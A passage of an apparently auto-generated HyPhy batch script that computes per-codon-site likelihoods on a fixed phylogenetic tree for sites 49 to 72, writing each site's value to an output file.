for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "48\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 49...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "144,145,146", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 49");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "49\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 50...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "147,148,149", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 50");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "50\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 51...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "150,151,152", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 51");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "51\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 52...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "153,154,155", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 52");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "52\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 53...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "156,157,158", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 53");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "53\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 54...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "159,160,161", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 54");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "54\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 55...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "162,163,164", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 55");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "55\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 56...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "165,166,167", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 56");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "56\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 57...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "168,169,170", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 57");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "57\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 58...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "171,172,173", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 58");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "58\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 59...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "174,175,176", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 59");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "59\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 60...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "177,178,179", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 60");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "60\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 61...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "180,181,182", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 61");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "61\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 62...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "183,184,185", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 62");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "62\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 63...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "186,187,188", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 63");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "63\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 64...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "189,190,191", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 64");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "64\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 65...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "192,193,194", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 65");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "65\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 66...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "195,196,197", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 66");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "66\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 67...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "198,199,200", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 67");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "67\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 68...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "201,202,203", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 68");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "68\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 69...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "204,205,206", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 69");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "69\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 70...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "207,208,209", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 70");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "70\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 71...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "210,211,212", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 71");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "71\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 72...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "213,214,215", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 72");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
